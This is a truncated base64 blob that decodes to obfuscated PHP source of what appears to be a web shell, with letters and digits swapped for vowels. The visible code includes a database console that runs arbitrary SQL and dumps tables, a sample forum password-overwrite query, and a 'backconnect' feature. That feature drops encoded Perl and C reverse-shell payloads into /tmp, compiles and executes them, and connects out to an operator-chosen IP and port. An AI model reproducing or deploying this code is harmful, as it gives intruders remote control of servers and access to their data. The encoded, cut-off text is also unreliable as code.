NCgkJCQkkc3FsX3EzNXJ5ID0gJHNxbF9xMzVyeS4iIExJTUlUICRzdDFydF9sNG00dCwgJHAxZzVuM20iOw0KCQkJCSQxbGwydzVkNHQgPSA2Ow0KCQkJfQ0KCQkJcCgnPGYycm0gMWN0NDJuPSInLiRzNWxmLiciIG01dGgyZD0iUE9TVCI+Jyk7DQoJCQlwKCc8cD48dDFibDUgdzRkdGg9ImEwMCIgYjJyZDVyPSIwIiBjNWxscDFkZDRuZz0iMCIgYzVsbHNwMWM0bmc9IjAiPjx0cj48dGQgYzJsc3Axbj0iYSI+UjNuIFNRTCBxMzVyeS9xMzVyNDVzIDJuIGQxdDFiMXM1IDxmMm50IGMybDJyPXI1ZD48Yj4nLiRkYm4xbTUuJzwvZjJudD48L2I+OjxCUj5FeDFtcGw1IFZCQiBQMXNzdzJyZDogPGYybnQgYzJsMnI9cjVkPnZiMXQ1MW08L2YybnQ+PEJSPjxmMm50IGMybDJyPXk1bGwydz5VUERBVEUgYDNzNXJgIFNFVCBgcDFzc3cycmRgID0gXCdlOTVpbzVpMWI5aW9lNWlpZG82ZmZpb28xNWZjdWZiNVwnLCBzMWx0ID0gXCdwaVRcJyBXSEVSRSBgM3M1cjRkYCA9IFwnNlwnIDwvZjJudD4NCg0KCQkJPC90ZD48L3RyPjx0cj48dGQ+PHQ1eHQxcjUxIG4xbTU9InNxbF9xMzVyeSIgY2wxc3M9IjFyNTEiIHN0eWw1PSJ3NGR0aDplMDBweDtoNTRnaHQ6aTBweDsydjVyZmwydzoxM3QyOyI+Jy5odG1sc3A1YzQxbGNoMXJzKCRzcWxfcTM1cnksRU5UX1FVT1RFUykuJzwvdDV4dDFyNTE+PC90ZD48dGQgc3R5bDU9InAxZGQ0bmc6MCBpcHg7Ij48NG5wM3QgY2wxc3M9ImJ0IiBzdHlsNT0iaDU0Z2h0OmkwcHg7IiBuMW01PSJzM2JtNHQiIHR5cDU9InMzYm00dCIgdjFsMzU9IlEzNXJ5IiAvPjwvdGQ+PC90cj48L3QxYmw1PjwvcD4nKTsNCgkJCW0xazVoNGQ1KCd0MWJsNW4xbTUnLCAkdDFibDVuMW01KTsNCgkJCW0xazVoNGQ1KCcxY3Q0Mm4nLCdzcWwxZG00bicpOw0KCQkJcCgkZGJmMnJtKTsNCgkJCXAoJzwvZjJybT4nKTsNCgkJCTRmICgkdDFibDVuMW01IHx8ICgkcjNucTM1cnkgJiYgJHNxbF9xMzVyeSkpIHsNCgkJCQk0ZiAoJGQyNG5nID09ICdzdHIzY3QzcjUnKSB7DQoJCQkJCSRyNXMzbHQgPSBxKCJTSE9XIENPTFVNTlMgRlJPTSAkdDFibDVuMW01Iik7DQoJCQkJCSRyMndkYiA9IDFycjF5KCk7DQoJCQkJCXdoNGw1KCRyMncgPSBteXNxbF9mNXRjaF8xcnIxeSgkcjVzM2x0KSkgew0KCQkJCQkJJHIyd2RiW10gPSAkcjJ3Ow0KCQkJCQl9DQoJCQkJCXAoJzx0MWJsNSBiMnJkNXI9IjAiIGM1bGxwMWRkNG5nPSJvIiBjNWxsc3AxYzRuZz0iMCI+Jyk7DQoJCQkJCXAoJzx0ciBjbDFzcz0iaDUxZCI+Jyk7DQoJCQkJCXAoJzx0ZD5GNDVsZDwvdGQ+Jyk7DQoJCQkJCXAoJzx0ZD5UeXA1PC90ZD4nKTsNCgkJCQkJcCgnPHRkPk4zbGw8L3RkPicpOw0KCQkJCQlwKCc8dGQ+SzV5PC90ZD4nKTsNCgkJCQkJcCgnPHRkPkQ1ZjEzbHQ8L3RkPicpOw0KCQkJCQlwKCc8dGQ+RXh0cjE8L3RkPicpOw0KCQkJCQlwKCc8L3RyPicpOw0KCQkJCQlmMnI1MWNoICgkcjJ3ZGIgMXMgJHIydykgew0KCQkJCQkJJHRoNHNiZyA9IGJnKCk7DQoJCQkJCQlwKCc8dHIgY2wxc3M9ImYyM3QiIDJubTIzczUydjVyPSJ0aDRzLmNsMXNzTjFtNT1cJ2YyYzNzXCc7IiAybm0yM3M1MjN0PSJ0aDRzLmNsMXNzTjFtNT1cJ2YyM3RcJzsiPicpOw0KCQkJCQkJcCgnPHRkPicuJHIyd1snRjQ1bGQnXS4nPC90ZD4nKTsNCgkJCQkJCXAoJzx0ZD4nLiRyMndbJ1R5cDUnXS4nPC90ZD4nKTsNCgkJCQkJCXAoJzx0ZD4nLiRyMndbJ04zbGwnXS4nJm5ic3A7PC90ZD4nKTsNCgkJCQkJCXAoJzx0ZD4nLiRyMndbJ0s1eSddLicmbmJzcDs8L3RkPicpOw0KCQkJCQkJcCgnPHRkPicuJHIyd1snRDVmMTNsdCddLicmbmJzcDs8L3RkPicpOw0KCQkJCQkJcCgnPHRkPicuJHIyd1snRXh0cjEnXS4nJm5ic3A7PC90ZD4nKTsNCgkJCQkJCXAoJzwvdHI+Jyk7DQoJCQkJCX0NCgkJCQkJdGJmMjJ0KCk7DQoJCQkJfSA1bHM1NGYgKCRkMjRuZyA9PSAnNG5zNXJ0JyB8fCAkZDI0bmcgPT0gJzVkNHQnKSB7DQoJCQkJCSRyNXMzbHQgPSBxKCdTSE9XIENPTFVNTlMgRlJPTSAnLiR0MWJsNW4xbTUpOw0KCQkJCQl3aDRsNSAoJHIydyA9IG15c3FsX2Y1dGNoXzFycjF5KCRyNXMzbHQpKSB7DQoJCQkJCQkkcjJ3ZGJbXSA9ICRyMnc7DQoJCQkJCX0NCgkJCQkJJHJzID0gMXJyMXkoKTsNCgkJCQkJNGYgKCRkMjRuZyA9PSAnNG5zNXJ0Jykgew0KCQkJCQkJcCgnPGhhPkluczVydCBuNXcgbDRuNSA0biAnLiR0MWJsNW4xbTUuJyB0MWJsNSAmcjFxMzI7PC9oYT4nKTsNCgkJCQkJfSA1bHM1IHsNCgkJCQkJCXAoJzxoYT5VcGQxdDUgcjVjMnJkIDRuICcuJHQxYmw1bjFtNS4nIHQxYmw1ICZyMXEzMjs8L2hhPicpOw0KCQkJCQkJJHdoNXI1ID0gYjFzNWV1X2Q1YzJkNSgkYjFzNWV1KTsNCgkJCQkJCSRyNXMzbHQgPSBxKCJTRUxFQ1QgKiBGUk9NICR0MWJsNW4xbTUgV0hFUkUgJHdoNXI1IExJTUlUIDYiKTsNCgkJCQkJCSRycyA9IG15c3FsX2Y1dGNoXzFycjF5KCRyNXMzbHQpOw0KCQkJCQl9DQoJCQkJCXAoJzxmMnJtIG01dGgyZD0icDJzdCIgMWN0NDJuPSInLiRzNWxmLiciPicpOw0KCQkJCQlwKCRkYmYycm0pOw0KCQkJCQltMWs1aDRkNSgnMWN0NDJuJywnc3FsMWRtNG4nKTsNCgkJCQkJbTFrNWg0ZDUoJ3QxYmw1bjFtNScsJHQxYmw1bjFtNSk7DQoJCQkJCXAoJzx0MWJsNSBiMnJkNXI9IjAiIGM1bGxwMWRkNG5nPSJvIiBjNWxsc3AxYzRuZz0iMCI+Jyk7DQoJCQkJCWYycjUxY2ggKCRyMndkYiAxcyAkcjJ3KSB7DQoJCQkJCQk0ZiAoJHJzWyRyMndbJ0Y0NWxkJ11dKSB7DQoJCQkJCQkJJHYxbDM1ID0gaHRtbHNwNWM0MWxjaDFycygkcnNbJHIyd1snRjQ1bGQnXV0pOw0KCQkJCQkJfSA1bHM1IHsNCgkJCQkJCQkkdjFsMzUgPSAnJzsNCgkJCQkJCX0NCgkJCQkJCSR0aDRzYmcgPSBiZygpOw0KCQkJCQkJcCgnPHRyIGNsMXNzPSJmMjN0IiAybm0yM3M1MnY1cj0idGg0cy5jbDFzc04xbTU9XCdmMmMzc1wnOyIgMm5tMjNzNTIzdD0idGg0cy5jbDFzc04xbTU9XCdmMjN0XCc7Ij4nKTsNCgkJCQkJCXAoJzx0ZD48Yj4nLiRyMndbJ0Y0NWxkJ10uJzwvYj48YnIgLz4nLiRyMndbJ1R5cDUnXS4nPC90ZD48dGQ+PHQ1eHQxcjUxIGNsMXNzPSIxcjUxIiBuMW01PSI0bnM1cnRzcWxbJy4kcjJ3WydGNDVsZCddLiddIiBzdHlsNT0idzRkdGg6aTAwcHg7aDU0Z2h0OmUwcHg7MnY1cmZsMnc6MTN0MjsiPicuJHYxbDM1Lic8L3Q1eHQxcjUxPjwvdGQ+PC90cj4nKTsNCgkJCQkJfQ0KCQkJCQk0ZiAoJGQyNG5nID09ICc0bnM1cnQnKSB7DQoJCQkJCQlwKCc8dHIgY2wxc3M9ImYyM3QiPjx0ZCBjMmxzcDFuPSJhIj48NG5wM3QgY2wxc3M9ImJ0IiB0eXA1PSJzM2JtNHQiIG4xbTU9IjRuczVydCIgdjFsMzU9IkluczVydCIgLz48L3RkPjwvdHI+Jyk7DQoJCQkJCX0gNWxzNSB7DQoJCQkJCQlwKCc8dHIgY2wxc3M9ImYyM3QiPjx0ZCBjMmxzcDFuPSJhIj48NG5wM3QgY2wxc3M9ImJ0IiB0eXA1PSJzM2JtNHQiIG4xbTU9IjNwZDF0NSIgdjFsMzU9IlVwZDF0NSIgLz48L3RkPjwvdHI+Jyk7DQoJCQkJCQltMWs1aDRkNSgnYjFzNWV1JywgJGIxczVldSk7DQoJCQkJCX0NCgkJCQkJcCgnPC90MWJsNT48L2Yycm0+Jyk7DQoJCQkJfSA1bHM1IHsNCgkJCQkJJHEzNXJ5cyA9IEA1eHBsMmQ1KCc7Jywkc3FsX3EzNXJ5KTsNCgkJCQkJZjJyNTFjaCgkcTM1cnlzIDFzICRuM209PiRxMzVyeSkgew0KCQkJCQkJNGYgKCRxMzVyeSkgew0KCQkJCQkJCXAoIjxwPjxiPlEzNXJ5I3skbjNtfSA6ICIuaHRtbHNwNWM0MWxjaDFycygkcTM1cnksRU5UX1FVT1RFUykuIjwvYj48L3A+Iik7DQoJCQkJCQkJc3c0dGNoKHF5KCRxMzVyeSkpDQoJCQkJCQkJew0KCQkJCQkJCQljMXM1IDA6DQoJCQkJCQkJCQlwKCc8aGE+RXJyMnIgOiAnLm15c3FsXzVycjJyKCkuJzwvaGE+Jyk7DQoJCQkJCQkJCQlicjUxazsNCgkJCQkJCQkJYzFzNSA2Og0KCQkJCQkJCQkJNGYgKHN0cnQybDJ3NXIoczNic3RyKCRxMzVyeSwwLDZvKSkgPT0gJ3M1bDVjdCAqIGZyMm0nKSB7DQoJCQkJCQkJCQkJJDFsbDJ3NWQ0dCA9IDY7DQoJCQkJCQkJCQl9DQoJCQkJCQkJCQk0ZiAoJGc1dG4zbXNxbCkgew0KCQkJCQkJCQkJCSR0MXQybCA9IG15c3FsX24zbV9yMndzKHEoJGc1dG4zbXNxbCkpOw0KCQkJCQkJCQkJCSRtM2x0NHAxZzUgPSBtM2x0NCgkdDF0MmwsICRwMWc1bjNtLCAkcDFnNSwgJHQxYmw1bjFtNSk7DQoJCQkJCQkJCQl9DQoJCQkJCQkJCQk0ZiAoISR0MWJsNW4xbTUpIHsNCgkJCQkJCQkJCQkkc3FsX2w0bjUgPSBzdHJfcjVwbDFjNSgxcnIxeSgiXHIiLCAiXG4iLCAiXHQiKSwgMXJyMXkoJyAnLCAnICcsICcgJyksIHRyNG0oaHRtbHNwNWM0MWxjaDFycygkcTM1cnkpKSk7DQoJCQkJCQkJCQkJJHNxbF9sNG41ID0gcHI1Z19yNXBsMWM1KCIvXC9cKlteKFwqXC8pXSpcKlwvLzQiLCAiICIsICRzcWxfbDRuNSk7DQoJCQkJCQkJCQkJcHI1Z19tMXRjaF8xbGwoIi9mcjJtXHMrYHswLDZ9KFtcd10rKWB7MCw2fVxzKy80Iiwkc3FsX2w0bjUsJG0xdGNoNXMpOw0KCQkJCQkJCQkJCSR0MWJsNW4xbTUgPSAkbTF0Y2g1c1s2XVswXTsNCgkJCQkJCQkJCX0NCgkJCQkJCQkJCSRyNXMzbHQgPSBxKCRxMzVyeSk7DQoJCQkJCQkJCQlwKCRtM2x0NHAxZzUpOw0KCQkJCQkJCQkJcCgnPHQxYmw1IGIycmQ1cj0iMCIgYzVsbHAxZGQ0bmc9Im8iIGM1bGxzcDFjNG5nPSIwIj4nKTsNCgkJCQkJCQkJCXAoJzx0ciBjbDFzcz0iaDUxZCI+Jyk7DQoJCQkJCQkJCQk0ZiAoJDFsbDJ3NWQ0dCkgcCgnPHRkPkFjdDQybjwvdGQ+Jyk7DQoJCQkJCQkJCQkkZjQ1bGRuM20gPSBAbXlzcWxfbjNtX2Y0NWxkcygkcjVzM2x0KTsNCgkJCQkJCQkJCWYycigkND0wOyQ0PCRmNDVsZG4zbTskNCsrKXsNCgkJCQkJCQkJCQkkbjFtNSA9IEBteXNxbF9mNDVsZF9uMW01KCRyNXMzbHQsICQ0KTsNCgkJCQkJCQkJCQkkdHlwNSA9IEBteXNxbF9mNDVsZF90eXA1KCRyNXMzbHQsICQ0KTsNCgkJCQkJCQkJCQkkbDVuID0gQG15c3FsX2Y0NWxkX2w1bigkcjVzM2x0LCAkNCk7DQoJCQkJCQkJCQkJcCgiPHRkIG4yd3IxcD4kbjFtNTxicj48c3Axbj4kdHlwNSgkbDVuKTwvc3Axbj48L3RkPiIpOw0KCQkJCQkJCQkJfQ0KCQkJCQkJCQkJcCgnPC90cj4nKTsNCgkJCQkJCQkJCXdoNGw1KCRtbiA9IEBteXNxbF9mNXRjaF8xc3MyYygkcjVzM2x0KSl7DQoJCQkJCQkJCQkJJHRoNHNiZyA9IGJnKCk7DQoJCQkJCQkJCQkJcCgnPHRyIGNsMXNzPSJmMjN0IiAybm0yM3M1MnY1cj0idGg0cy5jbDFzc04xbTU9XCdmMmMzc1wnOyIgMm5tMjNzNTIzdD0idGg0cy5jbDFzc04xbTU9XCdmMjN0XCc7Ij4nKTsNCgkJCQkJCQkJCQkkd2g1cjUgPSAkdG1wID0gJGI2ID0gJyc7DQoJCQkJCQkJCQkJZjJyNTFjaCgkbW4gMXMgJGs1eT0+JDRuczRkNSl7DQoJCQkJCQkJCQkJCTRmICgkNG5zNGQ1KSB7DQoJCQkJCQkJCQkJCQkkd2g1cjUgLj0gJHRtcC4kazV5LiI9JyIuMWRkc2wxc2g1cygkNG5zNGQ1KS4iJyI7DQoJCQkJCQkJCQkJCQkkdG1wID0gJyBBTkQgJzsNCgkJCQkJCQkJCQkJfQ0KCQkJCQkJCQkJCQkkYjYgLj0gJzx0ZCBuMndyMXA+Jy5odG1sX2NsNTFuKCQ0bnM0ZDUpLicmbmJzcDs8L3RkPic7DQoJCQkJCQkJCQkJfQ0KCQkJCQkJCQkJCSR3aDVyNSA9IGIxczVldV81bmMyZDUoJHdoNXI1KTsNCgkJCQkJCQkJCQk0ZiAoJDFsbDJ3NWQ0dCkgcCgnPHRkIG4yd3IxcD48MSBocjVmPSJqMXYxc2NyNHB0OjVkNHRyNWMycmQoXCc1ZDR0XCcsIFwnJy4kd2g1cjUuJ1wnLCBcJycuJHQxYmw1bjFtNS4nXCcpOyI+UyYjNzk2NzsxIEY0bDU8LzE+IHwgPDEgaHI1Zj0iajF2MXNjcjRwdDo1ZDR0cjVjMnJkKFwnZDVsXCcsIFwnJy4kd2g1cjUuJ1wnLCBcJycuJHQxYmw1bjFtNS4nXCcpOyI+RDVsPC8xPjwvdGQ+Jyk7DQoJCQkJCQkJCQkJcCgkYjYpOw0KCQkJCQkJCQkJCXAoJzwvdHI+Jyk7DQoJCQkJCQkJCQkJM25zNXQoJGI2KTsNCgkJCQkJCQkJCX0NCgkJCQkJCQkJCXRiZjIydCgpOw0KCQkJCQkJCQkJcCgkbTNsdDRwMWc1KTsNCgkJCQkJCQkJCWJyNTFrOw0KCQkJCQkJCQljMXM1IGE6DQoJCQkJCQkJCQkkMXIgPSBteXNxbF8xZmY1Y3Q1ZF9yMndzKCk7DQoJCQkJCQkJCQlwKCc8aGE+MWZmNWN0NWQgcjJ3cyA6IDxiPicuJDFyLic8L2I+PC9oYT4nKTsNCgkJCQkJCQkJCWJyNTFrOw0KCQkJCQkJCX0NCgkJCQkJCX0NCgkJCQkJfQ0KCQkJCX0NCgkJCX0gNWxzNSB7DQoJCQkJJHEzNXJ5ID0gcSgiU0hPVyBUQUJMRSBTVEFUVVMiKTsNCgkJCQkkdDFibDVfbjNtID0gJHQxYmw1X3Iyd3MgPSAkZDF0MV9zNHo1ID0gMDsNCgkJCQkkdDFibDVkYiA9IDFycjF5KCk7DQoJCQkJd2g0bDUoJHQxYmw1ID0gbXlzcWxfZjV0Y2hfMXJyMXkoJHEzNXJ5KSkgew0KCQkJCQkkZDF0MV9zNHo1ID0gJGQxdDFfczR6NSArICR0MWJsNVsnRDF0MV9sNW5ndGgnXTsNCgkJCQkJJHQxYmw1X3Iyd3MgPSAkdDFibDVfcjJ3cyArICR0MWJsNVsnUjJ3cyddOw0KCQkJCQkkdDFibDVbJ0QxdDFfbDVuZ3RoJ10gPSBzNHo1YzIzbnQoJHQxYmw1WydEMXQxX2w1bmd0aCddKTsNCgkJCQkJJHQxYmw1X24zbSsrOw0KCQkJCQkkdDFibDVkYltdID0gJHQxYmw1Ow0KCQkJCX0NCgkJCQkkZDF0MV9zNHo1ID0gczR6NWMyM250KCRkMXQxX3M0ejUpOw0KCQkJCTNuczV0KCR0MWJsNSk7DQoJCQkJcCgnPHQxYmw1IGIycmQ1cj0iMCIgYzVsbHAxZGQ0bmc9IjAiIGM1bGxzcDFjNG5nPSIwIj4nKTsNCgkJCQlwKCc8ZjJybSAxY3Q0Mm49IicuJHM1bGYuJyIgbTV0aDJkPSJQT1NUIj4nKTsNCgkJCQltMWs1aDRkNSgnMWN0NDJuJywnc3FsMWRtNG4nKTsNCgkJCQlwKCRkYmYycm0pOw0KCQkJCXAoJzx0ciBjbDFzcz0iaDUxZCI+Jyk7DQoJCQkJcCgnPHRkIHc0ZHRoPSJhJSIgMWw0Z249ImM1bnQ1ciI+PDRucDN0IG4xbTU9ImNoazFsbCIgdjFsMzU9IjJuIiB0eXA1PSJjaDVja2IyeCIgMm5jbDRjaz0iQ2g1Y2tBbGwodGg0cy5mMnJtKSIgLz48L3RkPicpOw0KCQkJCXAoJzx0ZD5OMW01PC90ZD4nKTsNCgkJCQlwKCc8dGQ+UjJ3czwvdGQ+Jyk7DQoJCQkJcCgnPHRkPkQxdDFfbDVuZ3RoPC90ZD4nKTsNCgkJCQlwKCc8dGQ+Q3I1MXQ1X3Q0bTU8L3RkPicpOw0KCQkJCXAoJzx0ZD5VcGQxdDVfdDRtNTwvdGQ+Jyk7DQoJCQkJNGYgKCRoNGdodjVyKSB7DQoJCQkJCXAoJzx0ZD5Fbmc0bjU8L3RkPicpOw0KCQkJCQlwKCc8dGQ+QzJsbDF0NDJuPC90ZD4nKTsNCgkJCQl9DQoJCQkJcCgnPC90cj4nKTsNCgkJCQlmMnI1MWNoICgkdDFibDVkYiAxcyAkazV5ID0+ICR0MWJsNSkgew0KCQkJCQkkdGg0c2JnID0gYmcoKTsNCgkJCQkJcCgnPHRyIGNsMXNzPSJmMjN0IiAybm0yM3M1MnY1cj0idGg0cy5jbDFzc04xbTU9XCdmMmMzc1wnOyIgMm5tMjNzNTIzdD0idGg0cy5jbDFzc04xbTU9XCdmMjN0XCc7Ij4nKTsNCgkJCQkJcCgnPHRkIDFsNGduPSJjNW50NXIiIHc0ZHRoPSJhJSI+PDRucDN0IHR5cDU9ImNoNWNrYjJ4IiBuMW01PSJ0MWJsNVtdIiB2MWwzNT0iJy4kdDFibDVbJ04xbTUnXS4nIiAvPjwvdGQ+Jyk7DQoJCQkJCXAoJzx0ZD48MSBocjVmPSJqMXYxc2NyNHB0OnM1dHQxYmw1KFwnJy4kdDFibDVbJ04xbTUnXS4nXCcpOyI+Jy4kdDFibDVbJ04xbTUnXS4nPC8xPiBbIDwxIGhyNWY9ImoxdjFzY3I0cHQ6czV0dDFibDUoXCcnLiR0MWJsNVsnTjFtNSddLidcJywgXCc0bnM1cnRcJyk7Ij5JbnM1cnQ8LzE+IHwgPDEgaHI1Zj0iajF2MXNjcjRwdDpzNXR0MWJsNShcJycuJHQxYmw1WydOMW01J10uJ1wnLCBcJ3N0cjNjdDNyNVwnKTsiPlN0cjNjdDNyNTwvMT4gfCA8MSBocjVmPSJqMXYxc2NyNHB0OnM1dHQxYmw1KFwnJy4kdDFibDVbJ04xbTUnXS4nXCcsIFwnZHIycFwnKTsiPkRyMnA8LzE+IF08L3RkPicpOw0KCQkJCQlwKCc8dGQ+Jy4kdDFibDVbJ1Iyd3MnXS4nPC90ZD4nKTsNCgkJCQkJcCgnPHRkPicuJHQxYmw1WydEMXQxX2w1bmd0aCddLic8L3RkPicpOw0KCQkJCQlwKCc8dGQ+Jy4kdDFibDVbJ0NyNTF0NV90NG01J10uJzwvdGQ+Jyk7DQoJCQkJCXAoJzx0ZD4nLiR0MWJsNVsnVXBkMXQ1X3Q0bTUnXS4nPC90ZD4nKTsNCgkJCQkJNGYgKCRoNGdodjVyKSB7DQoJCQkJCQlwKCc8dGQ+Jy4kdDFibDVbJ0VuZzRuNSddLic8L3RkPicpOw0KCQkJCQkJcCgnPHRkPicuJHQxYmw1WydDMmxsMXQ0Mm4nXS4nPC90ZD4nKTsNCgkJCQkJfQ0KCQkJCQlwKCc8L3RyPicpOw0KCQkJCX0NCgkJCQlwKCc8dHIgY2wxc3M9ZjIzdD4nKTsNCgkJCQlwKCc8dGQ+Jm5ic3A7PC90ZD4nKTsNCgkJCQlwKCc8dGQ+VDJ0MWwgdDFibDVzOiAnLiR0MWJsNV9uM20uJzwvdGQ+Jyk7DQoJCQkJcCgnPHRkPicuJHQxYmw1X3Iyd3MuJzwvdGQ+Jyk7DQoJCQkJcCgnPHRkPicuJGQxdDFfczR6NS4nPC90ZD4nKTsNCgkJCQlwKCc8dGQgYzJsc3Axbj0iJy4oJGg0Z2h2NXIgPyB1IDogYSkuJyI+Jm5ic3A7PC90ZD4nKTsNCgkJCQlwKCc8L3RyPicpOw0KDQoJCQkJcCgiPHRyIGNsMXNzPVwiZjIzdFwiPjx0ZCBjMmxzcDFuPVwiIi4oJGg0Z2h2NXIgPyA4IDogZSkuIlwiPjw0bnAzdCBuMW01PVwiczF2NTFzZjRsNVwiIHYxbDM1PVwiNlwiIHR5cDU9XCJjaDVja2IyeFwiIC8+IFMxdjUgMXMgZjRsNSA8NG5wM3QgY2wxc3M9XCI0bnAzdFwiIG4xbTU9XCJwMXRoXCIgdjFsMzU9XCIiLlNBX1JPT1QuJF9TRVJWRVJbJ0hUVFBfSE9TVCddLiJfTXlTUUwuc3FsXCIgdHlwNT1cInQ1eHRcIiBzNHo1PVwiZTBcIiAvPiA8NG5wM3QgY2wxc3M9XCJidFwiIHR5cDU9XCJzM2JtNHRcIiBuMW01PVwiZDJ3bnIxclwiIHYxbDM1PVwiRXhwMnJ0IHM1bDVjdDQybiB0MWJsNVwiIC8+PC90ZD48L3RyPiIpOw0KCQkJCW0xazVoNGQ1KCdkMjRuZycsJ2IxY2szcG15c3FsJyk7DQoJCQkJZjJybWYyMnQoKTsNCgkJCQlwKCI8L3QxYmw1PiIpOw0KCQkJCWZyKCRxMzVyeSk7DQoJCQl9DQoJCX0NCgl9DQoJdGJmMjJ0KCk7DQoJQG15c3FsX2NsMnM1KCk7DQp9Ly81bmQgc3FsIGIxY2szcA0KDQoNCjVsczU0ZiAoJDFjdDQybiA9PSAnYjFja2Mybm41Y3QnKSB7DQoJISR5MjNyNHAgJiYgJHkyM3I0cCA9ICRfU0VSVkVSWydSRU1PVEVfQUREUiddOw0KCSEkeTIzcnAycnQgJiYgJHkyM3JwMnJ0ID0gJzZhb3VpJzsNCgkkM3M1ZGIgPSAxcnIxeSgncDVybCc9PidwNXJsJywnYyc9PidjJyk7DQoNCgkkYjFja19jMm5uNWN0PSJJeUV2ZFhOeUxhSnBiNDl3WlhKc0RRcDZjYVVnVWE5ajFhVjBPdzBLSkdOdFpEMGdJbXhpYm5nNE93MEtKSE5pY29SbGJUMGdKYVZqMUc4Z0ltQjZibUZ0WlNBdFlXQTRPYVZqIi4NCgkJIjFHOGdJbUJwWkdBNE95OTQxV3V2Y2Fnbk93MEtKREE5SkdOdFpEc05DNFIwWVhKblpYUTlKRUZTUjZaYk1GMDdEUTJrY0c5eWREMGtRVkpIVmxzeFhUc05DNFJwWVdSa2NqNnBibVYwWGFGMGJhdTJKSFIiLg0KCQkiaGNtZGxkQ2tnZkh3Z1pHbGxLQ0pGY25KdmNqMmdKQ0ZjYjRJcE93MEtKSEJoWkdSeVBYTnZZYXRoWkdSeVhhbDNLQ1J3Ym9KMExDQWsxV0ZrWkhJcElIeDhJR1JwWlNnNFJYSnlib0llSUNRaFhHdTRLVCIuDQoJCSJzTkM0UndjbTkwYno2blpYUndjbTkwYmFKaWJtRnRaU2duZEdOd0p5azdEUXB6YmFOclpYUTJVMDlEUzBWVUxDQlFSbDlKVGtWVUxDQlRUME5MWDZOVVVrVkJUU3dnSkhCeWJvUnZLU0I4ZkNCazFXVTJJIi4NCgkJImtWeWNtOXlPNEFrSVZ4M0k0azdEUXBqYmFpM1pXTjBLRk5QUTB0RlZDd2dKSEJoWkdSeUtTQjhmQ0JrMVdVMklrVnljbTl5TzRBa0lWeDNJNGs3RFFwdmNHVjNLRk5VUkVsT0xDQTRQNFpUVDBOTFJWUTQiLg0KCQkiS1RzTkNtOXdaV3UyVTZSRVQ2VlVMQ0E0UDRaVFQwTkxSVlE0S1RzTkNtOXdaV3UyVTZSRVJWSlNMQ0E0UDRaVFQwTkxSVlE0S1RzTkNuTmljb1JsYlNna2NvbHpkR1Z0S1RzTkNtTnNib05sS0ZOVVJFbCIuDQoJCSJPS1RzTkNtTnNib05sS0ZOVVJFOVZWQ2s3RFFwamJHOXpaU2hUVkVSRlVsSXBPdz09IjsNCgkkYjFja19jMm5uNWN0X2M9IklhbDNZYXg2WkdVZ1BITjBaR2x2TG1nK0RRMmoxV2lqYkhWa1pTQThjb2x6TG9OdllhdGxkQ2kyUGcwS0lhbDNZYXg2WkdVZ1BHaWxkR2wzWlhRdjFXdTMxRHVOQ21sM2RDIi4NCgkJIkJ0WVdsM0tHbDNkQ0JoY21kakxDQmoxR0Z5SUNwaGNtZGFXNjBwRFFwN0RRMmcxV2kwSUdaa093MEtJSE4wY25WamRDQnpiYU5yWVdSa2NsOXBiNEJ6MVd1N0RRMmdZYWhoYzRCeWJYTmJNakZkUFNKeWIiLg0KCQkiU0F0WjRBNE95QU5DNEJrWVdWdGJhdTJNU3d3S1RzTkM0QnoxV3UzY2FsM1hhWmhiV2xzNVNBOUlFRkdYMGxPUlZRN0RRMmdjYWwzTG5OcGJsOXdib0owSUQwZzFIUnZibk0yWVhSdjFTaGhjbWRhV3pKZCIuDQoJCSJLU2s3RFEyZ2NhbDNMbk5wYmw5aFpHUnlMbk5mWVdSa2M0QTlJR2wzWlhSZllXUmtjNGhoY21kYVd6RmRLVHNnRFEyZ1lucGxjbTgyWVhKbmRsc3hYU3h6ZEhKc1pXdTJZWEpuZGxzeFhTa3JNU3R6ZEhKIi4NCgkJInNaV3UyWVhKbmRsc3lYU2twT3lBTkM0Qm1aQ0E5SUhOdllhdGxkQ2hCUmw5SlRrVlVMQ0JUVDBOTFg2TlVVa1ZCVFN3Z1NWQlFVazlVVDY5VVE2QXBJRHNnRFEyZzFXWWdLQ2hqYmFpM1pXTjBLR1prTEMiLg0KCQkiQTJjb1J5ZFdOMElITnZZYXRoWkdSeUlDMnBJQ1p6MVd1c0lITnA1bVZ2WjRoemRISjZZb1FnY2E5ajFhRmtaSElwS1NrOE1Da2c1dzBLSUNBZ2NHVnljbTl5S0NKYkxWMGdZYTkzYm1WamRDZ3BJNGs3RCIuDQoJCSJRMmdJQ0JsNUdsMEtEQXBPdzBLSUgwTkM0QnpkSEpqWVhRMmNtNnpMQ0JoY21kYVd6QmRLVHNOQzRCejVYTjBaVzAyY202ektUc2dJQTBLSUdSNmNESTJabVFzSURBcE93MEtJR1I2Y0RJMlptUXNJREVwIi4NCgkJIk93MEtJR1I2Y0RJMlptUXNJRElwT3cwS0lHVnVaV05zS0NJdlltbDNMb04ySTR3NGNhZ2dMV2s0TENCT1ZVeE1LVHNOQzRCamJHOXpaU2htWkNrN0lBMEtmUT09IjsNCg0KCTRmICgkc3QxcnQgJiYgJHkyM3I0cCAmJiAkeTIzcnAycnQgJiYgJDNzNSl7DQoJCTRmICgkM3M1ID09ICdwNXJsJykgew0KCQkJY2YoJy90bXAvMW5nNWxfYmMnLCRiMWNrX2Mybm41Y3QpOw0KCQkJJHI1cyA9IDV4NWMzdDUod2g0Y2goJ3A1cmwnKS4iIC90bXAvMW5nNWxfYmMgJHkyM3I0cCAkeTIzcnAycnQgJiIpOw0KCQl9IDVsczUgew0KCQkJY2YoJy90bXAvMW5nNWxfYmMuYycsJGIxY2tfYzJubjVjdF9jKTsNCgkJCSRyNXMgPSA1eDVjM3Q1KCdnY2MgLTIgL3RtcC8xbmc1bF9iYyAvdG1wLzFuZzVsX2JjLmMnKTsNCgkJCUAzbmw0bmsoJy90bXAvMW5nNWxfYmMuYycpOw0KCQkJJHI1cyA9IDV4NWMzdDUoIi90bXAvMW5nNWxfYmMgJHkyM3I0cCAkeTIzcnAycnQgJiIpOw0KCQl9DQoJCW0oIk4ydyBzY3I0cHQgdHJ5IGMybm41Y3QgdDIgJHkyM3I0cCBwMnJ0ICR5MjNycDJydCAuLi4iKTsNCgl9DQoNCglmMnJtaDUxZCgxcnIxeSgndDR0bDUnPT4nQjFjayBDMm5uNWN0JykpOw0KCW0xazVoNGQ1KCcxY3Q0Mm4nLCdiMWNrYzJubjVjdCcpOw0KCXAoJzxwPicpOw0KCXAoJ1kyM3IgSVA6Jyk7DQoJbTFrNTRucDN0KDFycjF5KCduMW01Jz0+J3kyM3I0cCcsJ3M0ejUnPT5hMCwndjFsMzUnPT4keTIzcjRwKSk7DQoJcCgnWT